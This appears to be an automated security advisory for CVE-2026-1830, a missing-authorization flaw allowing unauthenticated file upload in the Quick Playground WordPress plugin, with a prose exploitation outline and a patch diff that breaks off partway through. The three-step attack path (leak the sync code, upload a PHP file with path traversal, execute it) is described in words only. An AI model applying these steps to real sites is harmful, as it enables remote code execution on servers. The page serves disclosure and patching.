Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-1830: Quick Playground <= 1.3.1 – Missing Authorization to Unauthenticated Arbitrary File Upload (quick-playground)

CVE ID CVE-2026-1830
Severity Critical (CVSS 9.8)
CWE 862
Vulnerable Version 1.3.1
Patched Version 1.3.2
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1830:
This vulnerability is a critical missing authorization flaw in the Quick Playground WordPress plugin versions up to and including 1.3.1. The plugin’s REST API endpoints lack proper authentication checks, allowing unauthenticated attackers to retrieve synchronization codes and upload arbitrary files. This leads directly to remote code execution with a CVSS score of 9.8.

The root cause lies in the permission callback functions for multiple REST API endpoints in the file quick-playground/expro-api.php. Functions like get_items_permissions_check in classes Quick_Playground_Save_Posts, Quick_Playground_Sync_Ids, Quick_Playground_Save_Settings, Quick_Playground_Save_Custom, and Quick_Playground_Upload_Image all contained insufficient authorization logic. These functions attempted to validate a sync_code parameter from the request body against a stored code, but the endpoints were registered with permission_callback set to ‘__return_true’ (lines 175, 202, 327, 411, 502 in the diff). This allowed unauthenticated access to the endpoints before the sync code validation could occur. The upload endpoint at /wp-json/quickplayground/v1/upload_image/{profile} also lacked proper file validation, accepting arbitrary filenames without sanitization.

Exploitation involves three sequential steps. First, an attacker retrieves the sync code by sending a POST request to /wp-json/quickplayground/v1/sync_ids with an empty JSON body. The endpoint returns the stored sync code in the response. Second, the attacker uses this sync code to upload a PHP file via the /wp-json/quickplayground/v1/upload_image/{profile} endpoint. The attacker can include path traversal sequences in the filename parameter to place the file outside the intended upload directory. Third, the attacker executes the uploaded PHP file to achieve remote code execution on the target server.

The patch introduces a token-based authorization system that replaces the direct sync code validation. A new endpoint /wp-json/quickplayground/v1/authorize_sync/{profile} accepts the sync code and returns a time-limited sync token. All client functions that previously sent the sync_code directly now use a new qckply_sync_remote_post function that attaches this token. The permission callbacks are unified to use qckply_require_sync_session, which validates the token via qckply_verify_sync_session. The upload endpoint adds strict file validation, using sanitize_file_name and wp_basename to prevent path traversal, validating image MIME types, and generating unique filenames. The sync_ids endpoint now requires a profile parameter in the URL path and proper token validation.

Successful exploitation grants unauthenticated attackers complete remote code execution on the WordPress server. Attackers can upload arbitrary PHP files, execute system commands, create administrative users, exfiltrate database contents, and establish persistent backdoors. The vulnerability affects all plugin installations up to version 1.3.1, making it a critical threat to WordPress sites using this plugin for development or staging environments.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quick-playground/client-demo-filters.php
+++ b/quick-playground/client-demo-filters.php
@@ -4,22 +4,15 @@
     $temp = wp_upload_dir();
     $file_path = $temp['path'].'/'.$choice['choice'];
     $profile = get_option("qckply_profile");
-    $qckply_sync_code = get_option('qckply_sync_code');
     $sync_origin = get_option('qckply_sync_origin');
     $remote_url = $sync_origin.'/wp-json/quickplayground/v1/upload_image/'.$profile.'?t='.time();
     update_option('qckply_upload_image_path',$file_path);
     update_option('qckply_upload_image_url',$remote_url);
     $data = $choice;
-    $data['sync_code'] = $qckply_sync_code;
     $data['base64'] = base64_encode(file_get_contents($file_path));
     update_option('qckply_upload_image_path_64',substr($data['base64'],0,10));
     $data['filename'] = $choice['basename'];
-    $request = array(
-    'body'    => json_encode($data),
-    'headers' => array(
-        'Content-Type' => 'application/json',
-    ));
-    $response = wp_remote_post( $remote_url, $request);
+    $response = qckply_sync_remote_post($remote_url, $data);
     if ( ! is_wp_error( $response ) ) {
     $body = json_decode( wp_remote_retrieve_body( $response ), true );
     update_option('qckply_upload_image_resized_result',var_export($body,true));
--- a/quick-playground/client-qckply_data.php
+++ b/quick-playground/client-qckply_data.php
@@ -41,12 +41,8 @@
     $starter_top = qckply_top_ids();
     $diff = array_diff_assoc($true_top,$starter_top);
     $sync_origin = get_option('qckply_sync_origin');
-    $remote_url = $sync_origin.'/wp-json/quickplayground/v1/sync_ids?t='.time();
+    $profile = get_option('qckply_profile', 'default');
+    $remote_url = $sync_origin.'/wp-json/quickplayground/v1/sync_ids/'.$profile.'?t='.time();
     $updata['top_ids'] = $true_top;
-    $request = array(
-    'body'    => json_encode($updata),
-    'headers' => array(
-        'Content-Type' => 'application/json',
-    ));
-    $response = wp_remote_post( $remote_url, $request);
+    $response = qckply_sync_remote_post($remote_url, $updata);
 }
--- a/quick-playground/client-save-images.php
+++ b/quick-playground/client-save-images.php
@@ -41,11 +41,9 @@
     }
     update_option('qckply_upload_image_path_scaled',$filename);
     $profile = get_option("qckply_profile");
-    $qckply_sync_code = get_option('qckply_sync_code');
     $sync_origin = get_option('qckply_sync_origin');
     $remote_url = $sync_origin.'/wp-json/quickplayground/v1/upload_image/'.$profile.'?t='.time();
     update_option('qckply_upload_image_url',$remote_url);
-    $updata['sync_code'] = $qckply_sync_code;
     $imgcontent = file_get_contents($filename);
     $updata['base64'] = base64_encode($imgcontent);
     $updata['top_id'] = $wpdb->get_var($wpdb->prepare('select ID from %i ORDER BY ID DESC',$wpdb->posts));
@@ -69,12 +67,7 @@
         echo '<p>Error encoding to base64</p>';
         return;
     }
-    $request = array(
-    'body'    => json_encode($updata),
-    'headers' => array(
-        'Content-Type' => 'application/json',
-    ));
-    $response = wp_remote_post( $remote_url, $request);
+    $response = qckply_sync_remote_post($remote_url, $updata);
     update_option('qckply_upload_image_raw_result',$response);
     if ( ! is_wp_error( $response ) ) {
     $response_data = json_decode( wp_remote_retrieve_body( $response ), true );
--- a/quick-playground/client-save-playground.php
+++ b/quick-playground/client-save-playground.php
@@ -1,8 +1,107 @@
 <?php

+function qckply_clear_sync_token() {
+    delete_option('qckply_sync_token');
+    delete_option('qckply_sync_token_expires');
+}
+
+function qckply_get_sync_token($force_refresh = false) {
+    $sync_code = get_option('qckply_sync_code');
+    $sync_origin = get_option('qckply_sync_origin');
+    $profile = get_option('qckply_profile', 'default');
+    $token = get_option('qckply_sync_token', '');
+    $expires = intval(get_option('qckply_sync_token_expires', 0));
+
+    if(!$force_refresh && !empty($token) && $expires > (time() + MINUTE_IN_SECONDS)) {
+        return $token;
+    }
+
+    if(empty($sync_code) || empty($sync_origin) || empty($profile)) {
+        qckply_clear_sync_token();
+        return '';
+    }
+
+    $response = wp_remote_post(
+        $sync_origin.'/wp-json/quickplayground/v1/authorize_sync/'.$profile,
+        [
+            'body' => wp_json_encode(['sync_code' => $sync_code]),
+            'headers' => ['Content-Type' => 'application/json'],
+            'timeout' => 20,
+        ]
+    );
+
+    if(is_wp_error($response)) {
+        qckply_clear_sync_token();
+        return '';
+    }
+
+    if(200 !== wp_remote_retrieve_response_code($response)) {
+        qckply_clear_sync_token();
+        return '';
+    }
+
+    $payload = json_decode(wp_remote_retrieve_body($response), true);
+
+    if(empty($payload['sync_token']) || empty($payload['expires'])) {
+        qckply_clear_sync_token();
+        return '';
+    }
+
+    update_option('qckply_sync_token', sanitize_text_field($payload['sync_token']));
+    update_option('qckply_sync_token_expires', intval($payload['expires']));
+
+    return sanitize_text_field($payload['sync_token']);
+}
+
+function qckply_prepare_sync_payload($payload, $force_refresh = false) {
+    $sync_token = qckply_get_sync_token($force_refresh);
+
+    if(empty($sync_token)) {
+        return false;
+    }
+
+    if(!is_array($payload)) {
+        $payload = [];
+    }
+
+    unset($payload['sync_code']);
+    $payload['sync_token'] = $sync_token;
+
+    return $payload;
+}
+
+function qckply_sync_remote_post($url, $payload) {
+    $prepared = qckply_prepare_sync_payload($payload);
+
+    if(false === $prepared) {
+        return new WP_Error('qckply_sync_token_missing', __('Unable to authorize Quick Playground sync.', 'quick-playground'));
+    }
+
+    $body = qckply_json_outgoing(wp_json_encode($prepared));
+    $response = wp_remote_post($url, [
+        'body' => $body,
+        'headers' => ['Content-Type' => 'application/json'],
+    ]);
+
+    $status_code = wp_remote_retrieve_response_code($response);
+
+    if(!is_wp_error($response) && in_array($status_code, [401, 403], true)) {
+        $prepared = qckply_prepare_sync_payload($payload, true);
+
+        if(false !== $prepared) {
+            $body = qckply_json_outgoing(wp_json_encode($prepared));
+            $response = wp_remote_post($url, [
+                'body' => $body,
+                'headers' => ['Content-Type' => 'application/json'],
+            ]);
+        }
+    }
+
+    return $response;
+}
+
 function qckply_clone_save_playground($clone) {
 	global $wpdb;
-    $qckply_sync_code = $clone['sync_code'];;
     $profile = get_option("qckply_profile",'default');
     printf('<h2>Saving Playground Data for %s</h2>',esc_html($profile));
     $sync_origin = get_option('qckply_sync_origin');
@@ -49,11 +148,8 @@
         }
         else
             printf('<h3>Save %d Posts and %s Related Items</h3><p>Sample JSON: %s</p>',empty($clone['posts']) ? 0 : sizeof($clone['posts']),empty($clone['related']) ? 0 : sizeof($clone['related']),esc_html(substr($json,0,300)));
-        $json = qckply_json_outgoing($json,$sync_origin.$site_dir);
-        $response = wp_remote_post($save_posts_url, array(
-            'body' => $json,
-            'headers' => array('Content-Type' => 'application/json')
-        ));
+        $payload = json_decode($json, true);
+        $response = qckply_sync_remote_post($save_posts_url, $payload);
     $status_code = wp_remote_retrieve_response_code( $response );
     if(is_wp_error($response)) {
         echo '<p>Error: '.esc_html( htmlentities($response->get_error_message()) ).'</p>';
@@ -67,7 +163,7 @@
         echo '<p>If you see this repeatedly, please report the issue via <a href="https://wordpress.org/support/plugin/quick-playground/">https://wordpress.org/support/plugin/quick-playground/</a></p>';
         $file = 'quickplayground_posts_'.$profile.'.json';
         $filename = trailingslashit($local_directories['site_uploads']).$file;
-        file_put_contents($filename,$json);
+        file_put_contents($filename, qckply_json_outgoing(wp_json_encode($payload)));
         return;
     }
     else {
@@ -96,13 +192,8 @@
         $clone['settings'][$option] = $v;
     }
     $clone = apply_filters('qckply_clone_save_settings',$clone);
-    $clone['sync_code'] = $qckply_sync_code;
     printf('<h3>Saving %d Settings</h3>',esc_html(sizeof($clone['settings'])));
-    $clone = qckply_json_outgoing(json_encode($clone),$sync_origin.$site_dir);
-    $response = wp_remote_post($save_settings_url, array(
-        'body' => $clone,
-        'headers' => array('Content-Type' => 'application/json')
-    ));
+    $response = qckply_sync_remote_post($save_settings_url, $clone);

     if(is_wp_error($response)) {
         echo '<p>Error: '.esc_html( htmlentities($response->get_error_message()) ).'</p>';
@@ -164,17 +255,12 @@
     */

     $clone = qckply_custom_tables_clone([]);
-    $clone['sync_code'] = $qckply_sync_code;

     printf('<h3>Checking for Custom Table Data</h3><p>%s</p>',esc_html( var_export(!empty($clone['custom_tables']),true)) );
     if(!empty($clone['custom_tables']))
     {
     echo '<h3>Saving Custom Table Data</h3>';
-    $clone = qckply_json_outgoing(json_encode($clone),$sync_origin.$site_dir);
-    $response = wp_remote_post($save_custom_url, array(
-        'body' => $clone,
-        'headers' => array('Content-Type' => 'application/json')
-    ));
+    $response = qckply_sync_remote_post($save_custom_url, $clone);

     if(is_wp_error($response)) {
         echo '<p>Error: '.esc_html( htmlentities($response->get_error_message()) ).'</p>';
@@ -249,6 +335,7 @@
         }
         $qckply_sync_code = sanitize_text_field( wp_unslash ( $_POST['qckply_sync_code'] ) );
         update_option('qckply_sync_code',$qckply_sync_code);
+        qckply_clear_sync_token();
         printf(__('<p>Sync Code %s saved. <a href="%s">Reload page</a>.</p>', 'quick-playground'), esc_html($qckply_sync_code), esc_attr($action));
     }
 }
@@ -283,9 +370,13 @@
     if($no_cache) $imgurl .= '&nocache=1';
     $sync_date = get_option('qckply_sync_date');
     $action = admin_url('admin.php?page=qckply_save');
+    if(empty(qckply_get_sync_token())) {
+        echo '<div class="notice notice-error"><p>'.esc_html__('Unable to authorize sync with the live website. Re-enter the sync code and try again.', 'quick-playground').'</p></div>';
+        qckply_clear_sync_token();
+        return;
+    }
     $clone = qckply_posts();
     error_log('play_posts '.sizeof($clone['posts']));
-    $clone['sync_code'] = $qckply_sync_code;
     qckply_clone_save_playground($clone);
     set_transient('qckply_messages_updated',false);
 }
--- a/quick-playground/expro-api.php
+++ b/quick-playground/expro-api.php
@@ -40,18 +40,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -148,7 +137,7 @@

 	  $namespace = 'quickplayground/v1';

-	  $path = 'sync_ids';
+    $path = 'sync_ids/(?P<profile>[a-z0-9_]+)';

 	  register_rest_route( $namespace, '/' . $path, [

@@ -175,7 +164,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-	  	return 'https://playground.wordpress.net/' == $_SERVER['HTTP_REFERER'];
+    return qckply_require_sync_session($request);
 	}

     /**
@@ -244,18 +233,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -327,18 +305,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -411,18 +378,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -502,18 +458,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -533,12 +478,7 @@
     $qckply_uploads_url = $qckply_directories['uploads_url'];
     $qckply_site_uploads_url = $qckply_directories['site_uploads_url'];
     $params = $request->get_json_params();
-    $code =  get_option('qckply_sync_code_'.$profile,'');
-    $params = $request->get_json_params();
-    $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-    $sync_response['sync_code'] = $sync_code;
-    $sync_response['correct_code'] = $code;
-    $filename = sanitize_text_field($params['filename']);
+    $filename = empty($params['filename']) ? '' : sanitize_file_name(wp_basename($params['filename']));
     $last_image = get_transient('qckply_last_image_uploaded');
     if($last_image == $filename) {
         $sync_response['message'] = 'duplicate image';
@@ -556,10 +496,41 @@
         return $response;
     }
     else {
+      $filedata = base64_decode($params['base64'], true);
+      $image_info = false;
+
+      if(false !== $filedata) {
+        $image_info = @getimagesizefromstring($filedata);
+      }
+
+      $allowed_mimes = apply_filters('qckply_allowed_upload_mimes', [
+        'image/jpeg' => 'jpg',
+        'image/png' => 'png',
+        'image/gif' => 'gif',
+        'image/webp' => 'webp',
+      ]);
+
+      if(false === $filedata || empty($image_info['mime']) || empty($allowed_mimes[$image_info['mime']])) {
+        $sync_response['message'] = 'invalid image data';
+        ob_clean();
+        return new WP_REST_Response($sync_response, 400, [
+          'Access-Control-Allow-Origin' => '*',
+          'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
+          'Access-Control-Allow-Headers' => 'Content-Type',
+        ]);
+      }
+
+      $base_name = pathinfo($filename, PATHINFO_FILENAME);
+      $base_name = sanitize_file_name($base_name);
+
+      if(empty($base_name)) {
+        $base_name = 'playground-image';
+      }
+
+      $filename = wp_unique_filename($qckply_site_uploads, $base_name.'.'.$allowed_mimes[$image_info['mime']]);
         set_transient('qckply_last_image_uploaded',$filename);
-        $filedata = base64_decode($params['base64']);
-        $newpath = $qckply_site_uploads.'/'.$filename;
-        $newurl = $qckply_site_uploads_url.'/'.$filename;
+      $newpath = trailingslashit($qckply_site_uploads).$filename;
+      $newurl = trailingslashit($qckply_site_uploads_url).$filename;
         $saved = file_put_contents($newpath,$filedata);
         $parent_id = isset($params['post_parent']) ? intval($params['post_parent']) : 0;
         $sync_response['message'] = 'saving to '.$newpath .' '.var_export($saved,true);
@@ -587,6 +558,56 @@
     return $response;
   }
 }
+
+class Quick_Playground_Authorize_Sync extends WP_REST_Controller {
+
+    public function register_routes() {
+
+	  $namespace = 'quickplayground/v1';
+
+	  $path = 'authorize_sync/(?P<profile>[a-z0-9_-]+)';
+
+	  register_rest_route( $namespace, '/' . $path, [
+
+		array(
+
+		  'methods'             => 'POST',
+
+		  'callback'            => array( $this, 'get_items' ),
+
+		  'permission_callback' => '__return_true'
+
+			  ),
+
+		  ]);
+
+	  }
+
+  public function get_items($request) {
+    $profile = sanitize_text_field($request['profile']);
+    $params = $request->get_json_params();
+    $supplied_code = empty($params['sync_code']) ? '' : sanitize_text_field($params['sync_code']);
+    $stored_code = qckply_get_sync_code($profile);
+
+    if(empty($stored_code)) {
+        return new WP_Error('qckply_sync_disabled', __('Quick Playground sync is not enabled for this profile.', 'quick-playground'), ['status' => 403]);
+    }
+
+    if(empty($supplied_code) || !hash_equals($stored_code, $supplied_code)) {
+        set_transient('invalid_sync_code', $supplied_code, HOUR_IN_SECONDS);
+        return new WP_Error('qckply_sync_code_invalid', __('Quick Playground sync code is invalid.', 'quick-playground'), ['status' => 403]);
+    }
+
+    $session = qckply_issue_sync_session($profile);
+    $headers = [
+        'Access-Control-Allow-Origin' => '*',
+        'Access-Control-Allow-Methods' => 'POST, OPTIONS',
+        'Access-Control-Allow-Headers' => 'Content-Type, Authorization',
+    ];
+
+    return new WP_REST_Response($session, 200, $headers);
+  }
+}
 /**
  * REST controller for saving custom table content in the playground.
  */
@@ -624,18 +645,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -701,18 +711,7 @@
      * @return bool True if allowed.
      */
 	public function get_items_permissions_check($request) {
-      $profile = $request['profile'];
-      $code = qckply_cloning_code($profile);
-      if(empty($code))
-        return false;
-      $params = $request->get_json_params();
-      $sync_code = isset($params['sync_code']) ? $params['sync_code'] : '';
-      if($code == $sync_code)
-        return true;
-      else {
-        set_transient('invalid_sync_code',$sync_code);
-        return false;
-      }
+	  return qckply_require_sync_session($request);
 	}

     /**
@@ -812,6 +811,8 @@
 }

 add_action('rest_api_init', function () {
+  $hook = new Quick_Playground_Authorize_Sync();
+	$hook->register_routes();
   $hook = new Quick_Playground_Save_Posts();
 	$hook->register_routes();
   $hook = new Quick_Playground_Save_Settings();
--- a/quick-playground/expro-filters.php
+++ b/quick-playground/expro-filters.php
@@ -90,18 +90,138 @@
     return;
 }

+function qckply_get_sync_code($profile) {
+    return (string) get_option('qckply_sync_code_'.$profile, '');
+}
+
+function qckply_get_sync_sessions_option_name($profile) {
+    return 'qckply_sync_sessions_'.$profile;
+}
+
+function qckply_get_sync_sessions($profile) {
+    $sessions = get_option(qckply_get_sync_sessions_option_name($profile), []);
+
+    if(!is_array($sessions)) {
+        $sessions = [];
+    }
+
+    $now = time();
+    $changed = false;
+
+    foreach($sessions as $session_id => $session) {
+        if(empty($session['expires']) || intval($session['expires']) <= $now) {
+            unset($sessions[$session_id]);
+            $changed = true;
+        }
+    }
+
+    if($changed) {
+        update_option(qckply_get_sync_sessions_option_name($profile), $sessions, false);
+    }
+
+    return $sessions;
+}
+
+function qckply_clear_sync_sessions($profile) {
+    delete_option(qckply_get_sync_sessions_option_name($profile));
+}
+
+function qckply_issue_sync_session($profile) {
+    $sessions = qckply_get_sync_sessions($profile);
+    $session_id = wp_generate_password(20, false, false);
+    $session_secret = wp_generate_password(48, false, false);
+    $ttl = absint(apply_filters('qckply_sync_session_ttl', 15 * MINUTE_IN_SECONDS, $profile));
+
+    if($ttl < MINUTE_IN_SECONDS) {
+        $ttl = MINUTE_IN_SECONDS;
+    }
+
+    $expires = time() + $ttl;
+
+    $sessions[$session_id] = [
+        'token_hash' => wp_hash_password($session_secret),
+        'created' => time(),
+        'expires' => $expires,
+    ];
+
+    update_option(qckply_get_sync_sessions_option_name($profile), $sessions, false);
+
+    return [
+        'sync_token' => $session_id.'.'.$session_secret,
+        'expires' => $expires,
+        'expires_in' => max(0, $expires - time()),
+    ];
+}
+
+function qckply_get_request_sync_token($request) {
+    $params = $request->get_json_params();
+
+    if(is_array($params) && !empty($params['sync_token'])) {
+        return sanitize_text_field($params['sync_token']);
+    }
+
+    $authorization = $request->get_header('authorization');
+
+    if(!empty($authorization) && preg_match('/^Bearers+(.+)$/i', $authorization, $matches)) {
+        return sanitize_text_field($matches[1]);
+    }
+
+    return '';
+}
+
+function qckply_verify_sync_session($profile, $sync_token) {
+    if(empty($sync_token)) {
+        return new WP_Error('qckply_sync_token_missing', __('Quick Playground sync authorization is required.', 'quick-playground'), ['status' => 403]);
+    }
+
+    $parts = explode('.', $sync_token, 2);
+
+    if(2 !== count($parts) || empty($parts[0]) || empty($parts[1])) {
+        return new WP_Error('qckply_sync_token_invalid', __('Quick Playground sync authorization is invalid.', 'quick-playground'), ['status' => 403]);
+    }
+
+    list($session_id, $session_secret) = $parts;
+    $sessions = qckply_get_sync_sessions($profile);
+
+    if(empty($sessions[$session_id])) {
+        return new WP_Error('qckply_sync_token_expired', __('Quick Playground sync authorization has expired.', 'quick-playground'), ['status' => 403]);
+    }
+
+    $session = $sessions[$session_id];
+
+    if(empty($session['token_hash']) || !wp_check_password($session_secret, $session['token_hash'])) {
+        return new WP_Error('qckply_sync_token_invalid', __('Quick Playground sync authorization is invalid.', 'quick-playground'), ['status' => 403]);
+    }
+
+    return true;
+}
+
+function qckply_require_sync_session($request, $profile = '') {
+    if(empty($profile) && !empty($request['profile'])) {
+        $profile = sanitize_text_field($request['profile']);
+    }
+
+    if(empty($profile)) {
+        return new WP_Error('qckply_sync_profile_missing', __('Quick Playground sync profile is required.', 'quick-playground'), ['status' => 400]);
+    }
+
+    return qckply_verify_sync_session($profile, qckply_get_request_sync_token($request));
+}
+
 function qckply_cloning_code($profile) {
     $code = '';
     if(!empty($_POST['set_sync_code']) && '1' == $_POST['set_sync_code'] && wp_verify_nonce( $_POST['playground'], 'quickplayground' )) {
         $code = wp_generate_password(20, false, false);
         update_option('qckply_sync_code_'.$profile,$code);
+        qckply_clear_sync_sessions($profile);
     }
     elseif(isset($_POST['set_sync_code'])) {
         delete_option('qckply_sync_code_'.$profile);
+        qckply_clear_sync_sessions($profile);
         $code = '';
     }
     else {
-        $code = get_option('qckply_sync_code_'.$profile,'');
+        $code = qckply_get_sync_code($profile);
     }
     return $code;
 }
--- a/quick-playground/expro-quickplayground-sync.php
+++ b/quick-playground/expro-quickplayground-sync.php
@@ -6,10 +6,39 @@
  * Displays a preview of proposed changes and, upon approval, applies changes to posts, meta, terms, taxonomies, and relationships.
  */
 function qckply_sync() {
-    if(!empty($_POST) && !wp_verify_nonce( sanitize_text_field( wp_unslash ( $_REQUEST['playground'])), 'quickplayground' ) )
-    {
-        echo '<h2>'.esc_html__('Security Error','quick-playground').'</h2>';
-        return;
+    $sync_capability = apply_filters('qckply_sync_approval_capability', 'manage_options');
+    if(!current_user_can($sync_capability)) {
+        wp_die(esc_html__('You are not allowed to approve Quick Playground sync changes.', 'quick-playground'), 403);
+    }
+
+    if(!empty($_POST)) {
+        $settings_request = isset($_POST['import_settings']) || isset($_POST['import_setting']);
+        $posts_request = isset($_POST['preview_button']) || isset($_POST['import_button']) || isset($_POST['import_from']) || isset($_POST['new_posts']);
+        $switch_request = isset($_POST['switch_theme']);
+
+        if($settings_request) {
+            $nonce = isset($_POST['qckply_sync_settings_nonce']) ? sanitize_text_field(wp_unslash($_POST['qckply_sync_settings_nonce'])) : '';
+            if(!wp_verify_nonce($nonce, 'qckply_sync_settings')) {
+                echo '<h2>'.esc_html__('Security Error','quick-playground').'</h2>';
+                return;
+            }
+        }
+
+        if($posts_request) {
+            $nonce = isset($_POST['qckply_sync_posts_nonce']) ? sanitize_text_field(wp_unslash($_POST['qckply_sync_posts_nonce'])) : '';
+            if(!wp_verify_nonce($nonce, 'qckply_sync_posts')) {
+                echo '<h2>'.esc_html__('Security Error','quick-playground').'</h2>';
+                return;
+            }
+        }
+
+        if($switch_request) {
+            $nonce = isset($_POST['qckply_sync_switch_theme_nonce']) ? sanitize_text_field(wp_unslash($_POST['qckply_sync_switch_theme_nonce'])) : '';
+            if(!wp_verify_nonce($nonce, 'qckply_sync_switch_theme')) {
+                echo '<h2>'.esc_html__('Security Error','quick-playground').'</h2>';
+                return;
+            }
+        }
     }

     global $wpdb;
@@ -22,7 +51,15 @@
     $playground_imported_items = sizeof($playground_imported);

     $profile = (empty($_REQUEST['profile'])) ? 'default' : sanitize_text_field($_REQUEST['profile']);
+    $saved = ['posts' => [], 'settings' => [], 'related' => []];
     $shown = [];
+    $audit_counts = [
+        'settings_imported' => 0,
+        'posts_inserted' => 0,
+        'posts_updated' => 0,
+        'meta_updated' => 0,
+        'taxonomies_updated' => 0,
+    ];

     $pp = get_option('qckply_profiles',array('default'));
     $getnonce = wp_create_nonce('quickplayground');
@@ -64,17 +101,51 @@
         else {
             echo '<p>Theme is not installed locally: '.esc_html($new_stylesheet).'</p>';
         }
-    }
+
+        qckply_sync_audit_log('switch_theme', $profile, [
+            'requested_stylesheet' => $new_stylesheet,
+            'theme_exists' => $theme->exists(),
+        ]);
+    }
+
+    $allowed_settings = apply_filters('qckply_sync_allowed_settings', [
+        'blogname',
+        'blogdescription',
+        'timezone_string',
+        'date_format',
+        'time_format',
+        'start_of_week',
+        'show_on_front',
+        'page_on_front',
+        'page_for_posts',
+        'posts_per_page',
+        'permalink_structure',
+        'default_comment_status',
+        'default_ping_status',
+        'thumbnail_size_w',
+        'thumbnail_size_h',
+        'thumbnail_crop',
+        'medium_size_w',
+        'medium_size_h',
+        'large_size_w',
+        'large_size_h',
+    ]);

     if(isset($_POST['import_setting'])) {
         foreach($_POST['import_setting'] as $option_name) {
             $option_name = sanitize_text_field($option_name);
+            if(!in_array($option_name, $allowed_settings, true)) {
+                continue;
+            }
             if(isset($saved['settings'][$option_name])) {
                 $option_value = $saved['settings'][$option_name];
                 update_option($option_name,maybe_unserialize($option_value));
+                $audit_counts['settings_imported']++;
                 printf('<p>Imported setting %s</p>',esc_html($option_name));
             }
         }
+
+        qckply_sync_audit_log('import_settings', $profile, $audit_counts);
     }
     if(isset($_POST['import_from'])) {
         $terms_checked = [];
@@ -92,8 +163,10 @@
                     if(!empty($playground_imported[$iddate])) {
                         printf('<p>Updating previously imported imported %s</p>',esc_html($saved_post['post_title']));
                         $saved_post['ID'] = $playground_imported[$iddate];
-                        if(!empty($_POST['import_button']))
+                        if(!empty($_POST['import_button'])) {
                             wp_update_post($saved_post);
+                            $audit_counts['posts_updated']++;
+                        }
                     }
                     elseif(in_array($id,$new_posts)) {
                         printf('<p>New: %s</p>',esc_html($saved_post['post_title']));
@@ -103,6 +176,7 @@
                         {
                         $id = wp_insert_post($new_post);
                         $playground_imported[$iddate] = $id;
+                        $audit_counts['posts_inserted']++;
                         }
                         else
                         {
@@ -114,6 +188,7 @@
                         if(!empty($_POST['import_button']))
                         {
                         wp_update_post($saved_post);
+                        $audit_counts['posts_updated']++;
                         }
                     }
                    $metadata = empty($saved['related']['p'.$saved_post['ID']]['postmeta']) ? [] : $saved['related']['p'.$saved_post['ID']]['postmeta'];
@@ -122,6 +197,7 @@
                         if(!empty($_POST['import_button']))
                         {
                         update_post_meta($id,$meta['meta_key'],$meta['meta_value']);
+                        $audit_counts['meta_updated']++;
                         }
                         if(!empty($_POST['preview_button']) || !empty($_POST['show_details'])) {
                             printf('<p>Updated post %d meta %s: %s</p>',esc_html($id),esc_html($meta['meta_key']),esc_html($meta['meta_value']));
@@ -138,6 +214,7 @@
                             {
                             //insert new taxonomy terms if needed, do not delete existing terms
                             wp_set_post_terms($id, $tax_terms, $taxonomy, false);
+                            $audit_counts['taxonomies_updated']++;
                             }
                             if(!empty($_POST['preview_button']) || !empty($_POST['show_details'])) {
                                 printf('<p>Set terms for taxonomy %s: %s</p>',esc_html($taxonomy),esc_html(implode(', ',$tax_terms)) );
@@ -152,6 +229,14 @@
         // Save the updated playground import data
         update_option('playground_imported',$playground_imported);
     }
+
+    if(isset($_POST['preview_button'])) {
+        qckply_sync_audit_log('preview_content', $profile, $audit_counts);
+    }
+
+    if(isset($_POST['import_button'])) {
+        qckply_sync_audit_log('import_content', $profile, $audit_counts);
+    }
     }
     $theme_options = ['default'=>'','changed'=>''];
     $internal_settings = ['copy_blogs','copy_events','origin_template','cache_created'];
@@ -166,6 +251,8 @@
             $theme_options['default'] = $option_value;
